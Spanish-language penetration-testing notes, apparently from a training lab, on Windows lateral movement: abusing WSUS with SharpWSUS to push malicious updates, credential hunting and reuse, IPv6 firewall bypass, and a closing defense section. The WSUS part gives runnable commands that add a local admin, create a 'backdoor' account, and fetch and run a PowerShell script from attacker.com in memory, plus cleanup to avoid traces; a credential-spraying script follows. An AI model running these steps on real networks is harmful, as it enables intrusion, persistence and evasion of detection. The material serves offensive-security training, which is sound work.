Skip to content

Lateral Movement — Windows Server Update Services (WSUS)

Herramientas


Contexto

WSUS (Windows Server Update Services) es un servicio Microsoft que permite a administradores distribuir actualizaciones y parches para productos Microsoft en toda una red de forma escalable. Los servidores internos reciben actualizaciones sin necesidad de acceso directo a internet.

¿Por qué es peligroso?

WSUS es ampliamente usado en redes corporativas Windows porque centraliza la gestión de parches. Si un atacante obtiene control del servidor WSUS o credenciales administrativas, puede:

  • Crear actualizaciones maliciosas que parecen legítimas
  • Forzar la instalación de malware en cualquier computadora que confíe en ese servidor WSUS
  • Ejecutar comandos con privilegios SYSTEM en máquinas remotas
  • Moverse lateralmente sin levantar alarmas (tráfico de actualización es "normal")

Requisitos para explotar WSUS:

Necesitas ser miembro de:

  • Grupo Administrator en el servidor WSUS, O
  • Grupo WSUS Administrators

El servidor WSUS debe estar configurado para aceptar actualizaciones (lo cual es lo normal).


WSUS — Enumeración

Detectar si WSUS está configurado

powershell
# Desde cualquier máquina Windows, consulta el registro para identificar WSUS
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Output esperado:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    http://wsus.inlanefreight.local:8530

Contexto: El valor WUServer muestra la URL del servidor WSUS. El puerto por defecto es 8530 (HTTP) o 8531 (HTTPS).


Localizar servidor WSUS con SharpWSUS

powershell
# Ejecutar SharpWSUS para localizar el servidor WSUS automáticamente
.\SharpWSUS.exe locate

Output esperado:

[*] Action: Locate WSUS Server
WSUS Server: http://wsus.inlanefreight.local:8530
[*] Locate complete

Contexto: Este comando consulta el registro de todos los clientes para encontrar qué servidor WSUS está configurado.


Inspeccionar servidor WSUS (requiere acceso RDP)

Una vez tengas acceso RDP al servidor WSUS con credenciales administrativas:

powershell
# Ejecutar como Administrator
.\SharpWSUS.exe inspect

Output esperado:

[*] Action: Inspect WSUS Server

################# WSUS Server Enumeration via SQL #################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
WSUS, 8530, C:\WSUS\WsusContent

####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
sccm.inlanefreight.local, 172.20.0.25, 10.0.17763.2510, 6/26/2024 12:14:15 PM
dc01.inlanefreight.local, 172.20.0.10, 10.0.17763.2510
srv01.inlanefreight.local, 172.20.0.51, 10.0.17763.2510

####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------

####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers
[*] Inspect complete

Contexto: Este output te muestra:

  • Ubicación del contenido WSUS: C:\WSUS\WsusContent (donde se descargan los parches)
  • Computadoras gestionadas: Qué máquinas están bajo control de WSUS
  • Última conexión: Cuándo cada máquina se conectó para buscar actualizaciones
  • Grupos WSUS: Para dirigir actualizaciones a máquinas específicas

WSUS — Explotación paso a paso

Paso 1: Crear una actualización maliciosa

WSUS solo ejecuta binarios firmados por Microsoft. Usaremos PSExec64.exe (signed by Microsoft) para ejecutar comandos.

powershell
# Crear la actualización maliciosa
# Vamos a agregar 'filiplain' al grupo Administrators del servidor objetivo

.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c net localgroup Administrators filiplain /add" /title:"NewAccountUpdate"

Parámetros explicados:

  • /payload — Ruta a PSExec64.exe (binario firmado por Microsoft)
  • /args — Argumentos que ejecutará PSExec:
    • -accepteula — Evita pop-ups de EULA
    • -s — Ejecuta como SYSTEM
    • -d — Retorna inmediatamente (no espera a que termine)
    • cmd.exe /c — Ejecuta comando de Windows
    • net localgroup Administrators filiplain /add — Agrega usuario al grupo Admins
  • /title — Nombre visible de la actualización en WSUS

Output esperado:

[*] Action: Create Update
[*] Creating patch to use the following:
[*] Payload: PSExec.exe
[*] Payload Path: C:\Tools\sysinternals\PSExec.exe
[*] Arguments: -accepteula -s -d cmd.exe /c 'net localgroup Administrators filiplain /add'

ImportUpdate Update Revision ID: 101472
PrepareXMLtoClient InjectURL2Download DeploymentRevision
PrepareBundle Revision ID: 101473

[*] Update created - When ready to deploy use the following command:
[*] SharpWSUS.exe approve /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN /groupname:"Group Name"
[*] To check on the update status use the following command:
[*] SharpWSUS.exe check /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN
[*] To delete the update use the following command:
[*] SharpWSUS.exe delete /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:Target.FQDN /groupname:"Group Name"
[*] Create complete

Contexto: La herramienta te da directamente los comandos para:

  1. Aprobar la actualización
  2. Verificar si se instaló
  3. Limpiar la actualización después

Paso 2: Aprobar la actualización para máquina objetivo

powershell
# Aprobar la actualización para srv01
.\SharpWSUS.exe approve /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.local /groupname:"FastUpdates"

Parámetros:

  • /updateid — ID de la actualización creada en el paso anterior
  • /computername — Máquina objetivo (FQDN)
  • /groupname — Nombre del grupo WSUS a crear (se crea si no existe)

Output esperado:

[*] Action: Approve Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3

Group Exists = False
Group Created: FastUpdates
Computer Added To Group
Approved Update
[*] Approve complete

Contexto: Si aparece error de descarga de PSExec64.exe, probablemente sea porque tu usuario no es miembro de "WSUS Administrators" (ver solución manual abajo).


Paso 2 alternativo: Aprobar manualmente (si SharpWSUS falla)

A veces SharpWSUS no funciona. Aquí está el método manual:

  1. Abre Windows Server Update Services (aplicación GUI)
  2. Navega a All Updates
  3. Encuentra NewAccountUpdate (sin aprobar)
  4. Haz clic derecho → Approval → Selecciona grupo → Approved for Install
  5. Cambia el estado a Approved

Problema común: Si ves error "download failed" (404), significa que el archivo PSExec64.exe no se descargó. Verifica los logs:

powershell
# Ver evento ID 364 (Content file download failed)
Get-WinEvent -LogName Application | Where-Object { $_.Id -eq 364 } | fl

Output esperado:

TimeCreated  : 7/3/2024 5:19:00 AM
ProviderName : Windows Server Update Services
Id           : 364
Message      : Content file download failed.
               Reason: HTTP status 404: The requested URL does not exist on the server.
               Source File: /Content/wuagent.exe
               Destination File: C:\WSUS\WsusContent\02\0098C79E1404B4399BF0E686D88DBF052269A302.exe

Solución: Copiar PSExec64.exe manualmente a esa ruta:

powershell
copy C:\Tools\sysinternals\PSExec64.exe C:\WSUS\WsusContent\02\0098C79E1404B4399BF0E686D88DBF052269A302.exe

Luego, en la GUI de WSUS, selecciona la actualización y haz clic en Retry Download.


Paso 3: Esperar a que el cliente instale la actualización

Los clientes verifican automáticamente cada cierto tiempo. Puedes forzar esto desde el cliente:

powershell
# En la máquina cliente (SRV01), forzar búsqueda de actualizaciones
# Ir a Settings > Update & Security > Check for updates

O verificar manualmente desde el servidor WSUS:

powershell
# Verificar estado de la actualización
.\SharpWSUS.exe check /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.local

Output esperado (antes de instalar):

[*] Action: Check Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Update Info cannot be found.
[*] Check complete

Output esperado (después de instalar):

[*] Action: Check Update
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Update Installed: NewAccountUpdate
[*] Check complete

Paso 4: Verificar que el comando se ejecutó

powershell
# Verificar que 'filiplain' ahora es admin en SRV01
net localgroup administrators

Output esperado:

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
---------------------------------------------------------------------------
Administrator
INLANEFREIGHT\Domain Admins
INLANEFREIGHT\Filiplain         <-- ¡NUEVO!
INLANEFREIGHT\PDQ Deploy Admin

The command completed successfully

Contexto: El usuario filiplain ahora tiene privilegios administrativos en SRV01, lo que permite:

  • RDP como admin
  • Ejecutar comandos con runas /user:filiplain
  • Instalar malware
  • Crear persistencia
  • Enumerar credenciales
  • Continuar movimiento lateral

Paso 5: Limpiar (eliminar la actualización)

Una vez que la actualización se instaló, elimínala para no dejar rastro:

powershell
.\SharpWSUS.exe delete /updateid:812772ce-0d8b-414b-823b-2cbc97d76126 /computername:srv01.inlanefreight.local /groupname:"FastUpdates"

Output esperado:

[*] Action: Delete Update
[*] Update declined.
[*] Update deleted.
Targeting srv01.inlanefreight.local
TargetComputer, ComputerID, TargetID
------------------------------------
srv01.inlanefreight.local, bbc6e1ed-75ec-4eea-81cf-05da5c18e93e, 3
Removed Computer From Group
Remove Group
[*] Delete complete

Contexto: Esto elimina la actualización de WSUS y la desaprueba, dejando el servidor más limpio.


WSUS — Casos prácticos avanzados

Ejecutar reverse shell via WSUS

En lugar de agregar usuario, ejecuta un comando que lance una reverse shell:

powershell
# Crear actualización con reverse shell
.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" /title:"CriticalSecurityUpdate"

Contexto: Esto descarga y ejecuta un script PowerShell desde tu servidor de C2, completamente en memoria, sin dejar archivos en disco.


Ejecutar comando como Domain Admin

Si tienes credenciales de Domain Admin en el servidor WSUS, puedes agregar usuarios a máquinas en toda la red:

powershell
# Comando genérico que funciona en cualquier máquina Windows
.\SharpWSUS.exe create /payload:"C:\Tools\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add" /title:"CriticalSecurityUpdate"

Esto crea un usuario backdoor con contraseña Password123! y lo agrega a Administrators, todo a través de WSUS.


Determinar si máquina usa WSUS

Desde Linux/Pwnbox:

bash
# Nmap scan para ver si puerto 8530/8531 está abierto en servidor sospechoso
nmap -p8530,8531 target.local -sCV

# Output:
# 8530/tcp open  http    Microsoft IIS httpd
# |_http-title: Windows Server Update Services

Herramientas alternativas a SharpWSUS

WSUSpendu — PowerShell tool, más antiguo pero aún funciona:

powershell
# Importar y usar WSUSpendu
Import-Module .\WSUSpendu.ps1
Invoke-WSUSpendu -UpdateTitle "MaliciousUpdate" -UpdateDescription "Legit patch" -ComputerTargets "srv01.inlanefreight.local"

Thunder_Woosus — C# tool similar a SharpWSUS:

powershell
# Uso similar a SharpWSUS
.\Thunder_Woosus.exe create /payload:C:\payload.exe /args:"/s /i" /title:"Update"
.\Thunder_Woosus.exe approve /updateid:xxx /computername:target

Limitación importante: No hay herramientas equivalentes que funcionen 100% desde Linux. WSUS exploitation requiere acceso a Windows o maquina con herramientas Windows.


Mitigación y detección

Desde perspectiva defensiva:

powershell
# Auditar cambios en actualización WSUS
Get-EventLog -LogName System | Where-Object { $_.EventID -eq 3 } | Select-Object TimeGenerated,Message | head -20

# Verificar grupos de WSUS y membresía
# En servidor WSUS:
wsusutil.exe getdownstreamservers

# Monitorear cambios en grupo Administrators
Get-EventLog -LogName Security | Where-Object { $_.EventID -eq 4728 } # User added to privileged group

Mejores prácticas:

Restringir acceso al servidor WSUS solo a administradores de confianza, implementar MFA en credenciales administrativas, auditar todas las acciones de WSUS (crear, aprobar, eliminar actualizaciones), usar Windows Defender for Endpoint para detectar ejecución anómala de PSExec, monitorear cambios en grupo Administrators, implementar WSUS Trusted Root Certificate pinning.


Conclusión

WSUS es un objetivo de alto valor en entornos Windows porque permite:

  • Ejecutar código como SYSTEM en cualquier máquina que confíe en el servidor
  • Moverse lateralmente sin levantar alarmas (es tráfico legítimo)
  • Escalada de privilegios a nivel de dominio
  • Persistencia a largo plazo

En un assessment:

  1. Enumera si WSUS está presente en la red
  2. Busca credenciales de administrador WSUS
  3. Si accedes al servidor WSUS, asume que toda la red es comprometible
  4. Crea actualizaciones maliciosas, apruebalas, y espera a que se instalen
  5. Limpia después (ejecuta delete)

El ataque es silencioso, potente, y es una ruta muy realista para lateral movement en redes corporativas grandes.

Lateral Movement — General Considerations

Herramientas


Contexto General

El lateral movement en Windows es un proceso repetitivo basado en:

  1. Identificar activos disponibles — Usuarios, contraseñas, redes, computadoras
  2. Buscar servicios — Entender cómo interactúan y cómo abusar de ellos
  3. Ganar acceso — Comprometer un servicio o máquina
  4. Repetir — Buscar más credenciales y continuar el proceso

La creatividad es fundamental. Observar cómo los servicios interactúan puede revelar oportunidades no documentadas:

  • Entornos de desarrollo ejecutando código en servidores accesibles
  • Aplicaciones conectándose a carpetas compartidas para descargar y ejecutar DLLs
  • Servidores MSSQL ejecutando queries desde archivos de configuración
  • Software de inventario instalado en el dominio que puede ejecutar comandos PowerShell

El punto clave: No necesitas ser admin para hacer lateral movement. Muchos servicios permiten a usuarios no-privilegiados ejecutar comandos.


User Privileges — Acceso sin derechos administrativos

Servicios que NO requieren privilegios de admin

Los siguientes servicios permiten a usuarios no-administrativos ejecutar comandos remotamente:

PSRemoting (WinRM) — Ejecutar PowerShell remoto

powershell
# Conectar a máquina remota
Enter-PSSession -ComputerName target.local

# O con credenciales específicas
$cred = Get-Credential
Enter-PSSession -ComputerName target.local -Credential $cred

# Ejecutar comando y salir
Invoke-Command -ComputerName target.local -ScriptBlock { whoami }

RDP (Remote Desktop Protocol) — Interfaz gráfica remota

powershell
# Conectar via RDP
mstsc /v:target.local

# Con usuario específico
mstsc /v:target.local /u:username

WMI (Windows Management Instrumentation) — Consultas remotas

powershell
# Ejecutar comando via WMI
wmic /node:target.local process call create "cmd.exe /c whoami"

# O con PowerShell
Invoke-WmiMethod -ComputerName target.local -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"

DCOM (Distributed Component Object Model) — Objetos COM remotos

powershell
# Usar Excel COM para ejecutar macros remotamente
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "target.local"))
$excel.Run("MyMacro")

SSH — Si está habilitado en Windows

bash
ssh user@target.local
ssh -i keyfile.pem user@target.local

Recomendación práctica

Prueba SIEMPRE tus credenciales encontradas contra estos 5 servicios:

  1. RDP (puerto 3389)
  2. WinRM/PSRemoting (puerto 5985/5986)
  3. WMI (puertos variados)
  4. DCOM (puertos variados)
  5. SSH (puerto 22)

No asumasque un usuario es "sin privilegios" — puede tener acceso a servicios específicos.


Firewall Blocking — Bypassear restricciones de red

Identificar puertos no estándar

Los administradores a menudo cambian puertos por defecto. Usa netstat para identificarlos:

powershell
# Ver todos los puertos en LISTENING
netstat -ano

# Output esperado:
Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       1704
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:23389          0.0.0.0:0              LISTENING       336
TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       2048

Contexto: En este ejemplo, puerto 23389 es inusual. Necesitas identificar a qué servicio pertenece.


Mapear puerto a servicio

Usa tasklist con el PID que obtuviste:

powershell
# Identificar qué servicio usa puerto 23389 (PID 336)
tasklist /svc /FI "PID eq 336"

# Output esperado:
Image Name                PID Services
=====================  ====== =====================
svchost.exe               336 TermService

Contexto: TermService = Remote Desktop Services. Entonces 23389 es RDP en puerto no estándar.


Restricciones comunes de firewall

Los administradores pueden aplicar estas restricciones:

  • Cambiar puertos por defecto — RDP en 23389 en lugar de 3389
  • Restringir a workstations específicas — Solo cierta máquina puede conectarse a DC
  • Whitelist de IPs — Solo tráfico desde redes específicas
  • Bloquear outbound a internet — Pero tráfico interno permitido
  • Monitorear tráfico — Aunque no bloqueen, logran el movimiento lateral

Estrategia para bypassear firewall

Si no tienes acceso directo a un servidor:

powershell
# Opción 1: Usar máquina intermedia (pivoting)
# Conectar a máquina A (accesible)
# Desde A, conectar a máquina B (no accesible desde tu IP)

# Opción 2: Usar túneles SSH/WinRM
# Crear túnel desde máquina intermediaria

# Opción 3: Usar IPv6 (ver sección abajo)

Escaneo activo con nmap

Desde Linux/Pwnbox, escanea para identificar puertos abiertos:

bash
# Escaneo de puertos comunes en máquina remota
nmap -p 3389,5985,5986,445,135,22 target.local

# Escaneo más agresivo
nmap -p- -sV target.local

# Escaneo específico de servicios
nmap -p 3389 -sCV target.local

Credentials — Buscar y reutilizar contraseñas

Ubicaciones comunes de credenciales

Archivos de configuración:

powershell
# Buscar archivos config
dir C:\ -Include "*.config" -Recurse -ErrorAction SilentlyContinue

# Archivos de conexión de bases de datos
Get-ChildItem -Path C:\ -Include "*.txt", "*.conf", "*.xml" -Recurse | Select-String "password"

Registro de Windows:

powershell
# Credenciales VNC, RDP, etc. pueden estar en el registro
reg query HKLM\Software /s | findstr /i "password"

reg query HKCU\Software /s | findstr /i "password"

Archivos en Desktop/Documents:

powershell
# Buscar credenciales en archivos de usuario
Get-ChildItem -Path C:\Users -Include "*.txt", "*.doc", "*.xlsx" -Recurse | Select-String "password|username|credentials"

Variables de entorno y archivos batch:

powershell
# Buscar en scripts batch
Get-ChildItem -Path C:\ -Include "*.bat", "*.cmd", "*.ps1" -Recurse | Select-String "password"

Historial PowerShell:

powershell
# Ver comandos ejecutados con credenciales
Get-History

# Archivo de historial
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Sticky Notes / Notas (sí, en serio):

powershell
# Windows 10/11 - Sticky Notes en base de datos
dir C:\Users\*\AppData\Local\Packages\Microsoft.StickyNotes_*

Reutilizar credenciales

Principio fundamental: Los administradores reutilizan contraseñas. Si encuentras password123, pruébala en:

  • Todos los usuarios locales
  • Todas las máquinas de la red
  • Servicios remotos (RDP, WinRM, SSH)
  • Bases de datos
  • Aplicaciones web internas
powershell
# Script simple para probar credenciales contra múltiples hosts
$hosts = @("server1.local", "server2.local", "dc.local")
$username = "admin"
$password = "Password123!"

foreach ($host in $hosts) {
    Write-Host "Probando $host..."
    
    # Intentar RDP (esto solo verifica conectividad)
    Test-NetConnection -ComputerName $host -Port 3389
    
    # Intentar WinRM
    try {
        $cred = New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString $password -AsPlainText -Force))
        Enter-PSSession -ComputerName $host -Credential $cred
        Write-Host "¡ÉXITO en $host!"
    } catch {
        Write-Host "Fallo en $host"
    }
}

IPv6 — Bypassear firewall IPv4

IPv6 está habilitado por defecto en Windows

La mayoría de firewalls modernos se enfocan en IPv4. Si el firewall bloquea IPv4 pero overlookea IPv6, puedes usarlo para movimiento lateral.

Nota importante: IPv6 a menudo está habilitado pero monitorizado. Úsalo solo si IPv4 está bloqueado.


Encontrar direcciones IPv6

powershell
# Ver todas las direcciones IPv6 en la máquina
ipconfig /all

# Output esperado:
Ethernet adapter Ethernet:
   IPv6 Address . . . . . . . . . . . : dead:beef::647f:620f:3a1a:e978
   Link-local IPv6 Address . . . . . : fe80::1

Conectar via WinRM usando IPv6

powershell
# Sintaxis: usar IPv6 entre corchetes
Enter-PSSession -ComputerName [dead:beef::647f:620f:3a1a:e978] -Authentication Negotiate

# Con credenciales específicas
$cred = Get-Credential
Enter-PSSession -ComputerName [dead:beef::647f:620f:3a1a:e978] -Credential $cred -Authentication Negotiate

Conectar via RDP usando IPv6

powershell
# Usar Remote Desktop Connection con IPv6
mstsc /v:[dead:beef::647f:620f:3a1a:e978]

# O desde línea de comandos
rasdial "Conexión RDP" [dead:beef::647f:620f:3a1a:e978] usuario contraseña

Escanear IPv6

bash
# Desde Linux, escanear subnet IPv6
nmap -6 dead:beef::0/112 -p 3389,5985,5986

# Ping a dirección IPv6 específica
ping6 [dead:beef::647f:620f:3a1a:e978]

Estrategia General de Lateral Movement

El ciclo completo

  1. Enumeración inicial

    powershell
    # ¿Qué máquinas hay en la red?
    net view
    
    # ¿Qué servicios corren localmente?
    Get-Service | Select-Object Name,Status
    
    # ¿Qué puertos están abiertos?
    netstat -ano
  2. Identificar servicios accesibles

    • RDP, WinRM, WMI, DCOM, SSH
    • Puertos no estándar
    • IPv6 si IPv4 está bloqueado
  3. Buscar credenciales

    • Archivos config
    • Registro
    • Scripts
    • Historial PowerShell
    • Sticky notes (sí, de verdad)
  4. Probar credenciales contra servicios

    powershell
    # Probar contra RDP
    mstsc /v:target /u:usuario
    
    # Probar contra WinRM
    Enter-PSSession -ComputerName target -Credential $cred
  5. Ganar acceso a nueva máquina

    • Ejecutar comandos
    • Instalar herramientas
    • Crear persistencia
  6. Repetir desde paso 1

    • Buscar más credenciales
    • Identificar nuevos servicios
    • Continuar el ciclo

Mitigación y Defensa

Desde perspectiva defensiva

powershell
# Auditar intentos fallidos de login
Get-EventLog -LogName Security -InstanceId 4625 | Select-Object TimeGenerated,Message | head -20

# Ver quién se conectó via WinRM
Get-EventLog -LogName Security -InstanceId 4648

# Monitorear puertos abiertos
netstat -ano | findstr LISTENING

Mejores prácticas de defensa

  • Implementar MFA en todos los servicios remotos
  • Usar contraseñas únicas por servicio (no reutilizar)
  • Monitorear IPv6 — No asumir que es "invisible"
  • Segmentación de red — Aislar servidores críticos
  • Auditar cambios de puertos — Documentar puertos no estándar
  • Implementar EDR (Endpoint Detection & Response)
  • Deshabilitar servicios innecesarios — Si no usas RDP, desactívalo

Conclusión

El lateral movement en Windows es un proceso iterativo de enumeración → acceso → repetición.

No necesitas exploits complejos. A menudo funciona:

  1. Encontrar credenciales (normalmente las reutilizan)
  2. Probarlas contra RDP, WinRM, WMI
  3. Ganar acceso a nueva máquina
  4. Buscar más credenciales
  5. Repetir hasta comprometer el objetivo

La creatividad es tu mejor herramienta. Observa cómo los servicios interactúan y busca formas de abusar de esas interacciones.

Lateral Movement — Prevention & Detection

Herramientas


Contexto

El lateral movement es una de las técnicas más comunes en ataques dirigidos. Un atacante que compromete una máquina intenta acceder a otras máquinas en la red usando credenciales, servicios, o técnicas de movimiento lateral.

La defensa requiere dos enfoques simultáneos:

  1. Detection — Identificar cuando ocurre lateral movement
  2. Prevention — Dificultar o bloquear intentos de lateral movement

Una defensa robusta combina ambos enfoques para reducir riesgo y impacto.


DETECTION — Identificar movimiento lateral

1. Monitoreo de logs de autenticación

Concepto: Los atacantes que hacen lateral movement crean patrones anómalos de login:

  • Logins desde IPs inesperadas
  • Logins a horas inusuales
  • Múltiples intentos fallidos (brute force)
  • Logins desde ubicaciones imposibles (geographically impossible)

Herramienta: Windows Event Viewer

Paso 1: Abrir Event Viewer

powershell
# Presionar Win + R
eventvwr

Paso 2: Navegar a logs de seguridad

Windows Logs → Security

Paso 3: Filtrar por eventos de login

Event IDs importantes:

  • 4624 — Successful logon (login exitoso)
  • 4625 — Failed logon (intento fallido)
  • 4720 — User account created (nueva cuenta creada)
  • 4722 — User account enabled (cuenta habilitada)
  • 4728 — Member added to security group (usuario agregado a grupo)

Contexto: Si ves 50 intentos fallidos de login seguidos por 1 exitoso, es un brute force.

Paso 4: Buscar patrones anómalos

powershell
# Ver eventos de login usando PowerShell
Get-EventLog -LogName Security -InstanceId 4624 | Select-Object TimeGenerated,UserName | head -20

# Ver intentos fallidos
Get-EventLog -LogName Security -InstanceId 4625 | Select-Object TimeGenerated,UserName | head -20

# Ver cambios en grupo Administrators
Get-EventLog -LogName Security -InstanceId 4728 | Select-Object TimeGenerated,Message

Busca:

  • Logins a las 3 AM (inusual)
  • IP source extraña (ej: 192.168.100.50 cuando normalmente está en 10.0.0.x)
  • Múltiples fallos seguidos de éxito
  • Usuarios agregados a grupos privilegiados de repente

2. Honeypots y Deception

Concepto: Crear sistemas falsos que parecen reales para atrapar a atacantes y aprender sus tácticas.

Ventajas:

  • Detectas cuando un atacante intenta movimiento lateral
  • Capturas tácticas y herramientas reales usadas
  • Aprendes cómo mejorar la defensa

Herramientas:

KFSensor — Honeypot Windows

powershell
# Instalar KFSensor y configurar servicios falsos
# Crear puertos fake (445, 3389, 5985) que registran intentos de acceso

sshesame — Honeypot SSH

bash
# Simula SSH server, graba todos los intentos de login
sshesame -p 2222

# Todos los logins fallan, pero registra intentos

Fake shares en Windows

powershell
# Crear carpeta compartida con nombre atractivo
# "Passwords", "Backups", "Admin_Tools"
# Si alguien intenta acceder, lo registras

Contexto: Si ves intentos de acceso a honeypot "C$_Backup_DB_Passwords", sabes que hay un atacante activo en tu red.


3. Análisis de tráfico de red

Concepto: Monitorear comunicaciones entre máquinas. Attackers generan tráfico anómalo:

  • Conexiones entre máquinas que normalmente no se hablan
  • Puertos no estándar
  • Protocolos inusuales
  • Patrones de comunicación sospechosos

Patrones a buscar:

  • Credential dumping — Tráfico LSASS access (lsass.exe)
  • WMI lateral movement — Puerto 135 (RPC)
  • PSExec — Puertos 445 (SMB) + creación de archivos ejecutables
  • RDP lateral — Puerto 3389 desde máquinas internas

Herramientas:

bash
# Wireshark — capturar y analizar tráfico
wireshark

# Filtros útiles:
# tcp.dstport == 445 && tcp.flags == 0x02  (SYN packets a puerto SMB)
# tcp.dstport == 3389                      (RDP traffic)
# tcp.dstport == 5985 or 5986              (WinRM traffic)
powershell
# Windows Performance Monitor — análisis local
perfmon

# Monitorear:
# - Network I/O
# - Outbound connections
# - Port usage

4. Endpoint Detection and Response (EDR)

Concepto: Software que monitorea comportamiento de procesos y detecta ejecución de herramientas de lateral movement.

Herramientas detectadas:

  • PsExec (ejecución remota)
  • WMIExec (WMI remoto)
  • PowerShell remoto
  • Mimikatz (credential dumping)
  • Cobalt Strike
  • MetaSploit

Cómo funciona:

EDR monitorea:
1. Ejecución de procesos → PsExec.exe lanzando cmd.exe remotamente
2. Escritura en registro → Cambios en HKLM\System
3. Inyección de memoria → DLL injection techniques
4. Red → Conexiones outbound sospechosas
5. Archivos → Descarga/ejecución de malware

Herramientas EDR populares:

  • Microsoft Defender for Endpoint
  • CrowdStrike Falcon
  • SentinelOne
  • Elastic Security
  • Carbon Black

PREVENTION — Prevenir movimiento lateral

1. Network Segmentation (Segmentación de red)

Concepto: Dividir la red en segmentos aislados. Si un atacante compromete una máquina, no puede acceder fácilmente a otras.

Implementación:

powershell
# Usar VLANs para aislar redes
# VLAN 10: Workstations
# VLAN 20: Servers
# VLAN 30: Domain Controllers

# Configurar Windows Firewall en cada segmento
netsh advfirewall firewall add rule name="Block_Lateral" dir=in action=block remoteip=10.0.0.0/8 remoteport=445 protocol=tcp

Firewall rules efectivas:

powershell
# Bloquear SMB desde workstations a servers (excepto file servers específicos)
netsh advfirewall firewall add rule name="Block_SMB_Lateral" dir=in action=block protocol=tcp localport=445 remoteip=10.0.0.0/16

# Bloquear RDP entre workstations
netsh advfirewall firewall add rule name="Block_RDP_Lateral" dir=in action=block protocol=tcp localport=3389 remoteip=10.0.0.0/16

# Permitir solo desde Admin network
netsh advfirewall firewall add rule name="Allow_RDP_Admin" dir=in action=allow protocol=tcp localport=3389 remoteip=192.168.1.0/24

Contexto: Aunque un atacante tenga credenciales válidas, el firewall bloquea la conexión a máquinas en otros segmentos.


2. Least Privilege (Mínimos privilegios)

Concepto: Dar a cada usuario/aplicación SOLO los permisos que necesita. Si se compromete, el damage es limitado.

Implementación en Active Directory:

powershell
# Crear roles específicos (RBAC - Role Based Access Control)
# En lugar de hacer todos admins:

# Role 1: "ServerAdmins" — solo can admin servers
# Role 2: "WorkstationAdmins" — solo can admin workstations
# Role 3: "FileShareManagers" — solo can manage file shares

# Asignar usuarios a roles usando GPOs

Auditar permisos excesivos:

powershell
# Ver quiénes son admins locales
Get-LocalGroupMember -Group "Administrators"

# Ver permisos en grupos de AD
Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name,ObjectClass

# Revocar permisos innecesarios
Remove-ADGroupMember -Identity "Domain Admins" -Members "lowprivuser" -Confirm:$false

Ventaja: Si un atacante roba credenciales de "filiplain" que es usuario normal, no puede hacer mucho. No es admin.


3. Zero Trust Architecture

Concepto: No confíar en NADA. Cada acceso debe ser verificado, incluso desde dentro de la red.

Componentes:

Azure AD Conditional Access — Verificación continua

powershell
# Requiere MFA para todos los logins (incluso internos)
# Bloquea logins desde ubicaciones inusuales
# Requiere dispositivos "compliant" (antivirus actualizado, etc)
# Re-autenticación cada X minutos para acceso sensible

Micro-segmentation — Aislar cada sistema

En lugar de:
All Users → Can access → All Servers

Zero Trust:
User John → MFA verified → Device Windows10_compliant → Can access → File_Server_Only
User Jane → MFA verified → Device MacBook_compliant → Can access → Dev_Server_Only

Monitoreo continuo

powershell
# Cada acceso se verifica contra:
# - User identity
# - Device health (antivirus, firewall status)
# - Network location
# - Access patterns (es normal que acceda a esto a esta hora?)

# Si algo es sospechoso, bloquea/alerta

Checklist de Defensa

Detección (Lo que debes implementar ahora)

[ ] Monitorear Event IDs 4624, 4625 en todos los Domain Controllers
[ ] Alertar sobre múltiples intentos fallidos (>5 en 10 min)
[ ] Alertar sobre logins fuera de horario laboral
[ ] Alertar sobre logins de ubicaciones nuevas
[ ] Monitorear Event ID 4728 (user agregado a grupos privilegiados)
[ ] Implementar SIEM (Splunk, ELK, etc) para correlación de logs
[ ] Instalar honeypots (fake shares, servicios falsos)
[ ] Monitorear tráfico SMB anómalo
[ ] Implementar EDR en endpoints críticos

Prevención (Defensa en profundidad)

[ ] Segmentar red en VLANs por función (workstations, servers, DC)
[ ] Configurar Windows Firewall para bloquear lateral movement
[ ] Auditar y remover privilegios excesivos
[ ] Implementar "Admin Workstations" (máquinas para admin tasks)
[ ] Deshabilitar servicios innecesarios (RDP, WinRM) en workstations
[ ] Implementar Conditional Access en Azure AD
[ ] Requerir MFA para acceso remoto
[ ] Implementar micro-segmentation
[ ] Rotar contraseñas de cuentas de servicio (krbtgt, etc)
